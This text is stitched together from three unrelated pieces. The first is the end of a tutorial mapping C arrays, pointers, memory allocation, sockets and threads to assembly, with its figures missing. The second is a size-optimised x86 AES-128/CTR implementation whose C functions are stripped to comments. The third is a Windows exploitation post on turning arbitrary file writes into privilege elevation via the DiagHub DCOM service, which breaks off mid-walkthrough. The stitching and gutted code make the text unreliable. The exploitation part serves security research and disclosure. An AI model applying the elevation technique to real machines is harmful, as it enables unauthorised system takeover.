EDIT: The above photo labeled “Declaring an array with a literal — disassembled” is actually labeled incorrectly. While yes, when initializing an array with an integer literal the compiler does first initialize the length through a local variable, the above screenshot is actually the initialization of a stack canary. Stack Canaries are used to detect overflow attacks that may, if unmitigated, lead to execution of malicious code. During compilation the compiler allocated enough space for the only litArray element that would be used, litArray[0] (see photo below labeled “local variables — Arrays” — as you can see, the only litArray element that was allocated for is litArray[0]). Compiler optimization can significantly enhance the speed of applications.
Sorry for the confusion!

local variables — Arrays
Declaring an array with a variable — code
Declaring an array with a variable — assembly
declaring an array with pre-defined objects — code
declaring an array with pre-defined objects — assembly

When declaring an array with pre-defined index definitions the compiler simply saves each pre-defined object into its own variable which represents the index within the array (i.e. objArray4 = objArray[4])

initializing an array index — code


initializing an array index — assembly


Much like declaring an array with pre-defined index definitions, when initializing (or setting) an index in an array, the compiler creates a new variable for said index.

retrieving an item from an array — code


retrieving an item from an array — assembly


When retrieving items from arrays, the item is taken from the index within the array and set to the desired variable.

creating a matrix with variables — code

Creating a matrix with variables — assembly

When creating a matrix, first the row and column sizes are set to their row and col variables. Next, the maximum and minimum indexes for the rows and columns are calculated and used to calculate the base location / overall size of the matrix in memory.

inputting to a matrix — code
inputting to a matrix — assembly

When inputting into a matrix, first the location of desired index is calculated using the matrix’s base location. Next, the contents of said index location is set to the desired input (i.e. 1337).

Retrieving from a matrix — code
Retrieving from a matrix — assembly

When retrieving from a matrix the same calculation as performed during the input sequence for the matrix index is performed again but instead of inputting something into the index, the index’s contents are retrieved and set to a desired variable (i.e. MatrixLeet).


Now that we understand how arrays are used / look in assembly, let’s move on to pointers.

ointers — Code

Let’s break the assembly down now:

int num = 10 in assembly

First we set int num to 10


pointer = &num

Next we set the contents of the num variable (i.e. 10) to the contents of the pointer variable.

printf num — assembly

We print out the num variable.

printf *pointer — assembly

We print out the pointer variable.

printf address of num — assembly

We print out the address of the num variable by using the lea (load effective address) opcode instead of mov.

printf address of num using pointer variable — assembly

We print the address of the num variable through the pointer variable.

rintf address of pointer — assembly

we print the address of the pointer variable using the lea (load effective address) opcode instead of mov.

Dynamic Memory Allocation

The next item on our list is dynamic memory allocation. In this tutorial I will break down memory allocation using:

  1. malloc
  2. calloc
  3. realloc

malloc — dynamic memory allocation

First, let’s take a look at the code:

Dynamic memory allocation using malloc — code


In this function we allocate 11 characters using malloc and then copy “Hello World” into the allocated memory space.

Now, let’s take a look at the assembly:

Please note: Throughout the assembly you may see ‘nop’ instructions. these instructions were specifically placed by me during the preparation stage for this article so that I could easily navigate and comment throughout the assembly code.

dynamic memory allocation using malloc — assembly

When using malloc, first the size of the allocated memory (0x0B) is first moved into the edi register. Next, the _malloc system function is called to allocate memory. The allocated memory area is then stored in the ptr variable. Next, the “Hello World” string is broken down into “Hello Wo” and “rld” as it is copied into the allocated memory space. Finally, the newly copied “Hello World” string is printed out and the allocated memory is freed using the _free system function.

calloc — dynamic memory allocation

First, let’s take a look at the code:

dynamic memory allocation using calloc — code

Much like in the malloc technique, space for 11 characters is allocated and then the “Hello World” string is copied into said space. Then, the newly relocated “Hello World” is printed out and the allocated memory space is freed.

dynamic memory allocation using calloc — assembly

Dynamic memory allocation through calloc looks nearly identical to dynamic memory allocation through malloc when broken down into assembly.

First, space for 11 characters (0x0B) is allocated using the _calloc system function. Then, the “Hello World” string is broken down into “Hello Wo” and “rld” as it is copied into the newly allocated memory area. Next, the newly relocated “Hello World” string is printed out and the allocated memory area is freed using the _free system function.

realloc — dynamic memory allocation

First, let’s look at the code:

dynamic memory allocation using realloc — code

In this function, space for 11 characters is allocated using malloc. Then, “Hello World” is copied into the newly allocated memory space before said memory location is reallocated to fit 21 characters by using realloc. Finally, “1337 h4x0r @nonymoose” is copied into the newly reallocated space. Finally, after printing, the memory is freed.

Now, let’s take a look at the assembly:

Please note: Throughout the assembly you may see ‘nop’ instructions. these instructions were specifically placed by me during the preparation stage for this article so that I could easily navigate and comment throughout the assembly code.

dynamic memory allocation using realloc — assembly

First, memory is allocated using malloc precisely as it was in the above “malloc — dynamic memory allocation” section. Then, after printing out the newly relocated “Hello World” string, realloc (_realloc system call) is called on the ptr variable (that represents the mem_alloc variable in the code) and a size of 0x15 (21 in decimal) is passed in as well. Next, “1337 h4x0r @nonymoose” is broken down into “1337 h4x”, “0r @nony”, “moos”, and “e” as it is copied into the newly re-allocated memory space. Finally, the space is freed using the _free system call

Socket Programming

Next, we’ll cover socket programming by breaking down a very basic TCP client-server chat system.

Before we begin breaking down the server / client code, it is important to point out the following line of code at the top of the file:

define the Port number

This line defines the PORT variable as 1337. This variable will be used in both the client and the server as the network port used to create the connection.


First, let’s look at the code:

Server — Code

First, the socket file descriptor ‘server’ is created with the AF_INET domain, the SOCK_STREAM type, and protocol code 0. Next, the socket options and the address is configured. Then, the socket is bound to the network address / port and the server begins to listen on said server with a maximum queue length of 3. Upon receiving a connection, the server accepts it into the sock variable and reads the transmitted value into the value variable. Finally, the server sends the serverhello string over the connection before the function returns.

Now, let’s break it down into assembly:

initiating the server variables

First, the server variables are created and initialized.

server = socket(…) — assembly

Next, the socket file descriptor ‘server’ is created by calling the _socket system function with the protocol, type, and domain settings passed through the edxesi, and edi registers respectively.

setockopt(…) — assembly

Then, setsockopt is called to set the socket options on the ‘server’ socket file descriptor.

address initialization — assembly

Next, the server’s address is initialized through adress.sin_familyaddress.sin_addr.s_addr, and address.sin_port.

bind(…) — assembly

Upon address and socket configuration, the server is bound to the network address using the _bind system call.

listen(…) — assembly

Once bound, the server listens on the socket by passing in the ‘server’ socket file descriptor and a max queue length of 3.

sock = accept(…) — assembly

Once a connection is made, the server accepts the socket connection into the sock variable.

value = read(…) — assembly

The server then reads the transmitted message into the value variable using the _read system call.

send(…) — assembly

Finally, the server sends the serverhello message through the variable (which represents serverhello in the code).


First, let’s look at the code: 

Client — code

first, the socket file descriptor ‘sock’ is created with the AF_INET domain, SOCK_STREAM type, and protocol code 0. Next, memset is used to fill the memory area of server_addr with ‘0’s before address information is set using server_addr.sin_family and server_addr.sin_port. Next, the address information is converted from text to binary format using inet_pton before the client connects to the server. Upon connection, the client sends it’s helloclient string and then reads the server’s response into the value variable. Finally, the value variable is printed out and the function returns.

Now, let’s break down the assembly:

Client variable initialization — assembly

First, the client’s local variables are initialized.

sock = socket(…) — assembly

The ‘sock’ socket file descriptor is created by calling the _socket system function and passing in the protocol, type, and domain information through the edxesi, and edi registers respectively.

memset(…) — assembly

Next, the server_address variable (represented as ‘s’ in assembly) is filled with ‘0’s (0x30) using the _memset system call.

Client — address configuration — assembly

Then, the address information for the server is configured.

inet_pton(…) — assembly

Next, the address is translated from text to binary format using the _inet_pton system call. Please note that since no address was explicitly defined in the code, localhost ( is assumed.

connect(…) — assembly

The client connects to the server using the _connect system call.

send(…) — assembly

Upon connecting, the client sends the helloClient string to the server.

value = read(…)

Finally, the client reads the server’s reply into the value variable using the _read system call.


Finally, we’ll cover the basics of threading in C.

First, let’s look at the code:

Threading — Code

As you can see, the program first prints “This is before the thread”, then creates a new thread that points to the *mythread function using the pthread_create function. Upon completion of the *mythread function (after sleeping for 1 second and printing “Hello from mythread”), the new thread is joined back the main thread using the pthread_join function and “This is after the thread” is printed.

Now, let’s break down the assembly:

printf “This is before the thread” — assembly

First, the program prints “This is before the thread”.

Creating a new thread — assembly

Next, a new thread is created with the _pthread_create system call. This thread points to mythread as it’s start routine.

The mythread function — assembly

As you can see, the mythread function simply sleeps for one second before printing “Hello from mythread”.

Please note: In the mythread function you will see two ‘nop’s. These were specifically placed for easier navigation during the preparation stage of this article.

joining the mythread function’s thread back to the main thread — assembly

Upon returning from the mythread function, the new thread is joined with the main thread using the _pthread_join function.

printf “This is after the thread” — assembly

Finally, “This is after the thread” is printed out and the function returns.

Closing Statements

I hope this article was able to shed some light on some more advanced programming concepts and their underlying assembly code. Now that we’ve covered all the major programming concepts, the next few articles in the BOLO: Reverse Engineering series will be dedicated to different types of attacks and vulnerable code so that you may be able to more quickly identify vulnerabilities and attacks within closed source programs through static analysis.

AES-128 Block Cipher


In January 1997, the National Institute of Standards and Technology (NIST) initiated a process to replace the Data Encryption Standard (DES) published in 1977. A draft criteria to evaluate potential algorithms was published, and members of the public were invited to provide feedback. The finalized criteria was published in September 1997 which outlined a minimum acceptable requirement for each submission.

4 years later in November 2001, Rijndael by Belgian Cryptographers Vincent Rijmen and Joan Daemen which we now refer to as the Advanced Encryption Standard (AES), was announced as the winner.

Since publication, implementations of AES have frequently been optimized for speed. Code which executes the quickest has traditionally taken priority over how much ROM it uses. Developers will use lookup tables to accelerate each step of the encryption process, thus compact implementations are rarely if ever sought after.

Our challenge here is to implement AES in the least amount of C and more specifically x86 assembly code. It will obviously result in a slow implementation, and will not be resistant to side-channel analysis, although the latter problem can likely be resolved using conditional move instructions (CMOVcc) if necessary.

AES Parameters

There are three different set of parameters available, with the main difference related to key length. Our implementation will be AES-128 which fits perfectly onto a 32-bit architecture


Key Length
(Nk words)
Block Size
(Nb words)
Number of Rounds
AES-128 4 4 10
AES-192 6 4 12
AES-256 8 4 14

Structure of AES

Two IF statements are introduced in order to perform the encryption in one loop. What isn’t included in the illustration below is ExpandRoundKey and AddRoundConstantwhich generate round keys.

The first layout here is what we normally see used when describing AES. The second introduces 2 conditional statements which makes the code more compact.

Source in C

The optimizers built into C compilers can sometimes reveal more efficient ways to implement a piece of code. At the very least, they will show you alternative ways to write some code in assembly.

#define R(v,n)(((v)>>(n))|((v)<<(32-(n))))
#define F(n)for(i=0;i<n;i++)
typedef unsigned char B;
typedef unsigned W;

// Multiplication over GF(2**8)
W M(W x){
    W t=x&0x80808080;
// SubByte
B S(B x){
    B i,y,c;
    return x^99;
void E(B *s){
    W i,w,x[8],c=1,*k=(W*)&x[4];
    // copy plain text + master key to x
      // 1st part of ExpandRoundKey, AddRoundKey and update state
      // 2nd part of ExpandRoundKey
      // if round 11, stop else update c
      // SubBytes and ShiftRows
      // if not round 10, MixColumns

x86 Overview

Some x86 registers have special purposes, and it’s important to know this when writing compact code.

Register Description Used by
eax Accumulator lods, stos, scas, xlat, mul, div
ebx Base xlat
ecx Count loop, rep (conditional suffixes E/Z and NE/NZ)
edx Data cdq, mul, div
esi Source Index lods, movs, cmps
edi Destination Index stos, movs, scas, cmps
ebp Base Pointer enter, leave
esp Stack Pointer pushad, popad, push, pop, call, enter, leave

Those of you familiar with the x86 architecture will know certain instructions have dependencies or affect the state of other registers after execution. For example, LODSB will load a byte from memory pointer in SI to AL before incrementing SI by 1. STOSB will store a byte in AL to memory pointer in DI before incrementing DI by 1. MOVSB will move a byte from memory pointer in SI to memory pointer in DI, before adding 1 to both SI and DI. If the same instruction is preceded REP (for repeat) then this also affects the CX register, decreasing by 1.


The s parameter points to a 32-byte buffer containing a 16-byte plain text and 16-byte master key which is copied to the local buffer x.

A copy of the data is required, because both will be modified during the encryption process. ESI will point to swhile EDI will point to x

EAX will hold Rcon value declared as c. ECX will be used exclusively for loops, and EDX is a spare register for loops which require an index starting position of zero. There’s a reason to prefer EAX than other registers. Byte comparisons are only 2 bytes for AL, while 3 for others.

// 2 vs 3 bytes
  /* 0001 */ "\x3c\x6c"             /* cmp al, 0x6c         */
  /* 0003 */ "\x80\xfb\x6c"         /* cmp bl, 0x6c         */
  /* 0006 */ "\x80\xf9\x6c"         /* cmp cl, 0x6c         */
  /* 0009 */ "\x80\xfa\x6c"         /* cmp dl, 0x6c         */

In addition to this, one operation requires saving EAX in another register, which only requires 1 byte with XCHG. Other registers would require 2 bytes

// 1 vs 2 bytes
  /* 0001 */ "\x92"                 /* xchg edx, eax        */
  /* 0002 */ "\x87\xd3"             /* xchg ebx, edx        */

Setting EAX to 1, our loop counter ECX to 4, and EDX to 0 can be accomplished in a variety of ways requiring only 7 bytes. The alternative for setting EAX here would be : XOR EAX, EAX; INC EAX

// 7 bytes
  /* 0001 */ "\x6a\x01"             /* push 0x1             */
  /* 0003 */ "\x58"                 /* pop eax              */
  /* 0004 */ "\x6a\x04"             /* push 0x4             */
  /* 0006 */ "\x59"                 /* pop ecx              */
  /* 0007 */ "\x99"                 /* cdq                  */

Another way …

// 7 bytes
  /* 0001 */ "\x31\xc9"             /* xor ecx, ecx         */
  /* 0003 */ "\xf7\xe1"             /* mul ecx              */
  /* 0005 */ "\x40"                 /* inc eax              */
  /* 0006 */ "\xb1\x04"             /* mov cl, 0x4          */

And another..

// 7 bytes
  /* 0000 */ "\x6a\x01"             /* push 0x1             */
  /* 0002 */ "\x58"                 /* pop eax              */
  /* 0003 */ "\x99"                 /* cdq                  */
  /* 0004 */ "\x6b\xc8\x04"         /* imul ecx, eax, 0x4   */

ESI will point to s which contains our plain text and master key. ESI is normally reserved for read operations. We can load a byte with LODS into AL/EAX, and move values from ESI to EDI using MOVS.

Typically we see stack allocation using ADD or SUB, and sometimes (very rarely) using ENTER. This implementation only requires 32-bytes of stack space, and PUSHAD which saves 8 general purpose registers on the stack is exactly 32-bytes of memory, executed in 1 byte opcode.

To illustrate why it makes more sense to use PUSHAD/POPAD instead of ADD/SUB or ENTER/LEAVE, the following are x86 opcodes generated by assembler.

// 5 bytes
  /* 0000 */ "\xc8\x20\x00\x00" /* enter 0x20, 0x0 */
  /* 0004 */ "\xc9"             /* leave           */
// 6 bytes
  /* 0000 */ "\x83\xec\x20"     /* sub esp, 0x20   */
  /* 0003 */ "\x83\xc4\x20"     /* add esp, 0x20   */
// 2 bytes
  /* 0000 */ "\x60"             /* pushad          */
  /* 0001 */ "\x61"             /* popad           */

Obviously the 2-byte example is better here, but once you require more than 96-bytes, usually ADD/SUB in combination with a register is the better option.

; *****************************
; void E(void *s);
; *****************************
    xor    ecx, ecx           ; ecx = 0
    mul    ecx                ; eax = 0, edx = 0
    inc    eax                ; c = 1
    mov    cl, 4
    pushad                    ; alloca(32)
; F(8)x[i]=((W*)s)[i];
    mov    esi, [esp+64+4]    ; esi = s
    mov    edi, esp
    add    ecx, ecx           ; copy state + master key to stack
    rep    movsd


A pointer to this function is stored in EBP, and there are three reasons to use EBP over other registers:

  1. EBP has no 8-bit registers, so we can’t use it for any 8-bit operations.
  2. Indirect memory access requires 1 byte more for index zero.
  3. The only instructions that use EBP are ENTER and LEAVE.
// 2 vs 3 bytes for indirect access  
  /* 0001 */ "\x8b\x5d\x00"         /* mov ebx, [ebp]       */
  /* 0004 */ "\x8b\x1e"             /* mov ebx, [esi]       */

When writing compact code, EBP is useful only as a temporary register or pointer to some function.

; *****************************
; Multiplication over GF(2**8)
; *****************************
    call   $+21               ; save address      
    push   ecx                ; save ecx
    mov    cl, 4              ; 4 bytes
    add    al, al             ; al <<= 1
    jnc    $+4                ;
    xor    al, 27             ;
    ror    eax, 8             ; rotate for next byte
    loop   $-9                ; 
    pop    ecx                ; restore ecx
    pop    ebp


In the SubBytes step, each byte a_{i,j} in the state matrix is replaced with S(a_{i,j}) using an 8-bit substitution box. The S-box is derived from the multiplicative inverse over GF(2^8), and we can implement SubByte purely using code.

; *****************************
; B SubByte(B x)
; *****************************
    test   al, al            ; if(x){
    jz     sb_l6
    xchg   eax, edx
    mov    cl, -1            ; i=255 
; for(c=i=0,y=1;--i;y=(!c&&y==x)?c=1:y,y^=M(y));
    mov    al, 1             ; y=1
    test   ah, ah            ; !c
    jnz    sb_l2    
    cmp    al, dl            ; y!=x
    setz   ah
    jz     sb_l0
    mov    dh, al            ; y^=M(y)
    call   ebp               ;
    xor    al, dh
    loop   sb_l1             ; --i
; F(4)x^=y=(y<<1)|(y>>7);
    mov    dl, al            ; dl=y
    mov    cl, 4             ; i=4  
    rol    dl, 1             ; y=R(y,1)
    xor    al, dl            ; x^=y
    loop   sb_l5             ; i--
    xor    al, 99            ; return x^99
    mov    [esp+28], al


The state matrix is combined with a subkey using the bitwise XOR operation. This step known as Key Whitening was inspired by the mathematician Ron Rivest, who in 1984 applied a similar technique to the Data Encryption Standard (DES) and called it DESX.

; *****************************
; AddRoundKey
; *****************************
; F(4)s[i]=x[i]^k[i];
    xchg   esi, edi           ; swap x and s
    lodsd                     ; eax = x[i]
    xor    eax, [edi+16]      ; eax ^= k[i]
    stosd                     ; s[i] = eax
    loop   xor_key


There are various cryptographic attacks possible against AES without this small, but important step. It protects against the Slide Attack, first described in 1999 by David Wagner and Alex Biryukov. Without different round constants to generate round keys, all the round keys will be the same.

; *****************************
; AddRoundConstant
; *****************************
; *k^=c; c=M(c);
    xor    [esi+16], al
    call   ebp


The operation to expand the master key into subkeys for each round of encryption isn’t normally in-lined. To boost performance, these round keys are precomputed before the encryption process since you would only waste CPU cycles repeating the same computation which is unnecessary.

Compacting the AES code into a single call requires in-lining the key expansion operation. The C code here is not directly translated into x86 assembly, but the assembly does produce the same result.

; ***************************
; ExpandRoundKey
; ***************************
; F(4)w<<=8,w|=S(((B*)k)[15-i]);w=R(w,8);F(4)w=k[i]^=w;
    add    esi,16
    mov    eax, [esi+3*4]    ; w=k[3]
    ror    eax, 8            ; w=R(w,8)
    call   S                 ; w=S(w)
    ror    eax, 8            ; w=R(w,8);
    loop   exp_l1
    mov    cl, 4
    xor    [esi], eax        ; k[i]^=w
    lodsd                    ; w=k[i]
    loop   exp_l2

Combining the steps

An earlier version of the code used separate AddRoundKeyAddRoundConstant, and ExpandRoundKey, but since these steps all relate to using and updating the round key, the 3 steps are combined in order to reduce the number of loops, thus shaving off a few bytes.

; *****************************
; AddRoundKey, AddRoundConstant, ExpandRoundKey
; *****************************
; w=k[3];F(4)w=(w&-256)|S(w),w=R(w,8),((W*)s)[i]=x[i]^k[i];
; w=R(w,8)^c;F(4)w=k[i]^=w;
    xchg   eax, edx
    xchg   esi, edi
    mov    eax, [esi+16+12]  ; w=R(k[3],8);
    ror    eax, 8
    mov    ebx, [esi+16]     ; t=k[i];
    xor    [esi], ebx        ; x[i]^=t;
    movsd                    ; s[i]=x[i];
; w=(w&-256)|S(w)
    call   sub_byte          ; al=S(al);
    ror    eax, 8            ; w=R(w,8);
    loop   xor_key
; w=R(w,8)^c;
    xor    eax, edx          ; w^=c;
; F(4)w=k[i]^=w;
    mov    cl, 4
    xor    [esi], eax        ; k[i]^=w;
    lodsd                    ; w=k[i];
    loop   exp_key

Shifting Rows

ShiftRows cyclically shifts the bytes in each row of the state matrix by a certain offset. The first row is left unchanged. Each byte of the second row is shifted one to the left, with the third and fourth rows shifted by two and three respectively.

Because it doesn’t matter about the order of SubBytes and ShiftRows, they’re combined in one loop.

; ***************************
; ShiftRows and SubBytes
; ***************************
; F(16)((B*)x)[(i%4)+(((i/4)-(i%4))%4)*4]=S(((B*)s)[i]);
    mov    cl, 16
    lodsb                    ; al = S(s[i])
    call   sub_byte
    push   edx
    mov    ebx, edx          ; ebx = i%4
    and    ebx, 3            ;
    shr    edx, 2            ; (i/4 - ebx) % 4
    sub    edx, ebx          ; 
    and    edx, 3            ; 
    lea    ebx, [ebx+edx*4]  ; ebx = (ebx+edx*4)
    mov    [edi+ebx], al     ; x[ebx] = al
    pop    edx
    inc    edx
    loop   shift_rows

Mixing Columns

The MixColumns transformation along with ShiftRows are the main source of diffusion. Each column is treated as a four-term polynomial b(x)=b_{3}x^{3}+b_{2}x^{2}+b_{1}x+b_{0}, where the coefficients are elements over {GF} (2^{8}), and is then multiplied modulo x^{4}+1 with a fixed polynomial a(x)=3x^{3}+x^{2}+x+2

; *****************************
; MixColumns
; *****************************
; F(4)w=x[i],x[i]=R(w,8)^R(w,16)^R(w,24)^M(R(w,8)^w);
    mov    eax, [edi]        ; w0 = x[i];
    mov    ebx, eax          ; w1 = w0;
    ror    eax, 8            ; w0 = R(w0,8);
    mov    edx, eax          ; w2 = w0;
    xor    eax, ebx          ; w0^= w1;
    call   ebp               ; w0 = M(w0);
    xor    eax, edx          ; w0^= w2;
    ror    ebx, 16           ; w1 = R(w1,16);
    xor    eax, ebx          ; w0^= w1;
    ror    ebx, 8            ; w1 = R(w1,8);
    xor    eax, ebx          ; w0^= w1;
    stosd                    ; x[i] = w0;
    loop   mix_cols
    jmp    enc_main

Counter Mode (CTR)

Block ciphers should never be used in Electronic Code Book (ECB) mode, and the ECB Penguin illustrates why.







As you can see, blocks of the same data using the same key result in the exact same ciphertexts, which is why modes of encryption were invented. Galois/Counter Mode (GCM) is authenticated encryption which uses Counter (CTR) mode to provide confidentiality.

The concept of CTR mode which turns a block cipher into a stream cipher was first proposed by Whitfield Diffie and Martin Hellman in their 1979 publication, Privacy and Authentication: An Introduction to Cryptography.

CTR mode works by encrypting a nonce and counter, then using the ciphertext to encrypt our plain text using a simple XOR operation. Since AES encrypts 16-byte blocks, a counter can be 8-bytes, and a nonce 8-bytes.

The following is a very simple implementation of this mode using the AES-128 implementation.

// encrypt using Counter (CTR) mode
void encrypt(W len, B *ctr, B *in, B *key){
    W i,r;
    B t[32];

    // copy master key to local buffer

      // copy counter+nonce to local buffer
      // encrypt t
      // XOR plaintext with ciphertext
      // update length + position
      // update counter

In assembly

; void encrypt(W len, B *ctr, B *in, B *key)
    lea    esi,[esp+32+4]
    xchg   eax, ecx          ; ecx = len
    xchg   eax, ebp          ; ebp = ctr
    xchg   eax, edx          ; edx = in
    xchg   esi, eax          ; esi = key
    pushad                   ; alloca(32)
; copy master key to local buffer
; F(16)t[i+16]=key[i];
    lea    edi, [esp+16]     ; edi = &t[16]
    xor    eax, eax
    jecxz  aes_l3            ; while(len){
; copy counter+nonce to local buffer
; F(16)t[i]=ctr[i];
    mov    edi, esp          ; edi = t
    mov    esi, ebp          ; esi = ctr
    push   edi
; encrypt t    
    call   _E                ; E(t)
    pop    edi
; xor plaintext with ciphertext
; r=len>16?16:len;
; F(r)in[i]^=t[i];
    mov    bl, [edi+eax]     ; 
    xor    [edx], bl         ; *in++^=t[i];
    inc    edx               ; 
    inc    eax               ; i++
    cmp    al, 16            ;
    loopne aes_l1            ; while(i!=16 && --ecx!=0)
; update counter
    xchg   eax, ecx          ; 
    mov    cl, 16
    inc    byte[ebp+ecx-1]   ;
    loopz  aes_l2            ; while(++c[i]==0 && --ecx!=0)
    xchg   eax, ecx
    jmp    aes_l0


The final assembly code for ECB mode is 205 bytes, and 272 for CTR mode.

Check sources here.

Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege

Previously I presented a technique to exploit arbitrary directory creation vulnerabilities on Windows to give you read access to any file on the system. In the upcoming Spring Creators Update (RS4) the abuse of mount points to link to files as I exploited in the previous blog post has been remediated. This is an example of a long term security benefit from detailing how vulnerabilities might be exploited, giving a developer an incentive to find ways of mitigating the exploitation vector.

Keeping with that spirit in this blog post I’ll introduce a novel technique to exploit the more common case of arbitrary file writes on Windows 10. Perhaps once again Microsoft might be able to harden the OS to make it more difficult to exploit these types of vulnerabilities. I’ll demonstrate exploitation by describing in detail the recently fixed issue that Project Zero reported to Microsoft (issue 1428).

An arbitrary file write vulnerability is where a user can create or modify a file in a location they could not normally access. This might be due to a privileged service incorrectly sanitizing information passed by the user or due to a symbolic link planting attack where the user can write a link into a location which is subsequently used by the privileged service. The ideal vulnerability is one where the attacking user not only controls the location of the file being written but also the entire contents. This is the type of vulnerability we’ll consider in this blog post.

A common way of exploiting arbitrary file writes is to perform DLL hijacking. When a Windows executable begins executing the initial loader in NTDLL will attempt to find all imported DLLs. The locations that the loader checks for imported DLLs are more complex than you’d expect but for our purposes can be summarized as follows: 

  1. Check Known DLLs, which is a pre-cached list of DLLs which are known to the OS. If found, the DLL is mapped into memory from a pre-loaded section object.
  2. Check the application’s directory, for example if importing TEST.DLL and the application is in C:\APP then it will check C:\APP\TEST.DLL.
  3. Check the system locations, such as C:\WINDOWS\SYSTEM32 and C:\WINDOWS.
  4. If all else fails search the current environment PATH.

The aim of the DLL hijack is to find an executable which runs at a high privilege which will load a DLL from a location that the vulnerability allows us to write to. The hijack only succeeds if the DLL hasn’t already been found in a location checked earlier.

There are two problems which make DLL hijacking annoying:


  1. You typically need to create a new instance of a privileged process as the majority of DLL imports are resolved when the process is first executed.
  2. Most system binaries, executables and DLLs that will run as a privileged user will be installed into SYSTEM32.

The second problem means that in steps 2 and 3 the loader will always look for DLLs in SYSTEM32. Assuming that overwriting a DLL isn’t likely to be an option (at the least if the DLL is already loaded you can’t write to the file), that makes it harder to find a suitable DLL to hijack. A typical way around these problems is to pick an executable that is not located in SYSTEM32 and which can be easily activated, such as by loading a COM server or running a scheduled task.

Even if you find a suitable target executable to DLL hijack the implementation can be quite ugly. Sometimes you need to implement stub exports for the original DLL, otherwise the loading of the DLL will fail. In other cases the best place to run code is during DllMain, which introduces other problems such as running code inside the loader lock. What would be nice is a privileged service that will just load an arbitrary DLL for us, no hijacking, no needing to spawn the “correct” privileged process. The question is, does such a service exist?

It turns out yes one does, and the service itself has been abused at least twice previously, once by Lokihardt for a sandbox escape, and once by me for user to system EoP. This service goes by the name “Microsoft (R) Diagnostics Hub Standard Collector Service,” but we’ll call it DiagHub for short.

The DiagHub service was introduced in Windows 10, although there’s a service that performs a similar task called IE ETW Collector in Windows 7 and 8.1. The purpose of the service is to collect diagnostic information using Event Tracing for Windows (ETW) on behalf of sandboxed applications, specifically Edge and Internet Explorer. One of its interesting features is that it can be configured to load an arbitrary DLL from the SYSTEM32 directory, which is the exact feature that Lokihardt and I exploited to gain elevated privileges. All the functionality for the service is exposed over a registered DCOM object, so in order to load our DLL we’ll need to work out how to call methods on that DCOM object. At this point you can skip to the end but if you want to understand how I would go about finding how the DCOM object is implemented, the next section might be of interest.

Reverse Engineering a DCOM Object

Let’s go through the steps I would take to try and find what interfaces an unknown DCOM object supports and find the implementation so we can reverse engineer them. There are two approaches I will typically take, go straight for RE in IDA Pro or similar, or do some on-system inspection first to narrow down the areas we have to investigate. Here we’ll go for the second approach as it’s more informative. I can’t say how Lokihardt found his issue; I’m going to opt for magic.

For this approach we’ll need some tools, specifically my OleViewDotNet v1.4+ (OVDN) tool from github as well as an installation of WinDBG from the SDK. The first step is to find the registration information for the DCOM object and discover what interfaces are accessible. We know that the DCOM object is hosted in a service so once you’ve loaded OVDN go to the menu Registry ⇒ Local Services and the tool will load a list of registered system services which expose COM objects. If you now find the  “Microsoft (R) Diagnostics Hub Standard Collector Service” service (applying a filter here is helpful) you should find the entry in the list. If you open the service tree node you’ll see a child, “Diagnostics Hub Standard Collector Service,” which is the hosted DCOM object. If you open that tree node the tool will create the object, then query for all remotely accessible COM interfaces to give you a list of interfaces the object supports. I’ve shown this in the screenshot below:

While we’re here it’s useful to inspect what security is required to access the DCOM object. If you right click the class treenode you can select View Access Permissions or View Launch Permissions and you’ll get a window that shows the permissions. In this case it shows that this DCOM object will be accessible from IE Protected Mode as well as Edge’s AppContainer sandbox, including LPAC.

Of the list of interfaces shown we only really care about the standard interfaces. Sometimes there are interesting interfaces in the factory but in this case there aren’t. Of these standard interfaces there are two we care about, the IStandardCollectorAuthorizationService and IStandardCollectorService. Just to cheat slightly I already know that it’s the IStandardCollectorService service we’re interested in, but as the following process is going to be the same for each of the interfaces it doesn’t matter which one we pick first. If you right click the interface treenode and select Properties you can see a bit of information about the registered interface.

There’s not much more information that will help us here, other than we can see there are 8 methods on this interface. As with a lot of COM registration information, this value might be missing or erroneous, but in this case we’ll assume it’s correct. To understand what the methods are we’ll need to track down the implementation of IStandardCollectorService inside the COM server. This knowledge will allow us to target our RE efforts to the correct binary and the correct methods. Doing this for an in-process COM object is relatively easy as we can query for an object’s VTable pointer directly by dereferencing a few pointers. However, for out-of-process it’s more involved. This is because the actual in-process object you’d call is really a proxy for the remote object, as shown in the following diagram:

All is not lost, however; we can still find the the VTable of the OOP object by extracting the information stored about the object in the server process. Start by right clicking the “Diagnostics Hub Standard Collector Service” object tree node and select Create Instance. This will create a new instance of the COM object as shown below:

The instance gives you basic information such as the CLSID for the object which we’ll need later (in this case {42CBFAA7-A4A7-47BB-B422-BD10E9D02700}) as well as the list of supported interfaces. Now we need to ensure we have a connection to the interface we’re interested in. For that select theIStandardCollectorService interface in the lower list, then in the Operations menu at the bottom selectMarshal ⇒ View Properties. If successful you’ll now see the following new view:

There’s a lot of information in this view but the two pieces of most interest are the Process ID of the hosting service and the Interface Pointer Identifier (IPID). In this case the Process ID should be obvious as the service is running in its own process, but this isn’t always the case—sometimes when you create a COM object you’ve no idea which process is actually hosting the COM server so this information is invaluable. The IPID is the unique identifier in the hosting process for the server end of the DCOM object; we can use the Process ID and the IPID in combination to find this server and from that find out the location of the actual VTable implementing the COM methods. It’s worth noting that the maximum Process ID size from the IPID is 16 bits; however, modern versions of Windows can have much larger PIDs so there’s a chance that you’ll have to find the process manually or restart the service multiple times until you get a suitable PID.

Now we’ll use a feature of OVDN which allows us to reach into the memory of the server process and find the IPID information. You can access information about all processes through the main menu Object ⇒ Processes but as we know which process we’re interested in just click the View button next to the Process ID in the marshal view. You do need to be running OVDN as an administrator otherwise you’ll not be able to open the service process. If you’ve not done so already the tool will ask you to configure symbol support as OVDN needs public symbols to find the correct locations in the COM DLLs to parse. You’ll want to use the version of DBGHELP.DLL which comes with WinDBG as that supports remote symbol servers. Configure the symbols similar to the following dialog:

If everything is correctly configured and you’re an administrator you should now see more details about the IPID, as shown below:


The two most useful pieces of information here are the Interface pointer, which is the location of the heap allocated object (in case you want to inspect its state), and the VTable pointer for the interface. The VTable address gives us information for where exactly the COM server implementation is located. As we can see here the VTable is located in a different module (DiagnosticsHub.StandardCollector.Runtime) from the main executable (DiagnosticsHub.StandardCollector.Server). We can verify the VTable address is correct by attaching to the service process using WinDBG and dumping the symbols at the VTable address. We also know from before we’re expecting 8 methods so we can take that into account by using the command:

dqs DiagnosticsHub_StandardCollector_Runtime+0x36C78 L8

Note that WinDBG converts periods in a module name to underscores. If successful you’ll see the something similar to the following screenshot:

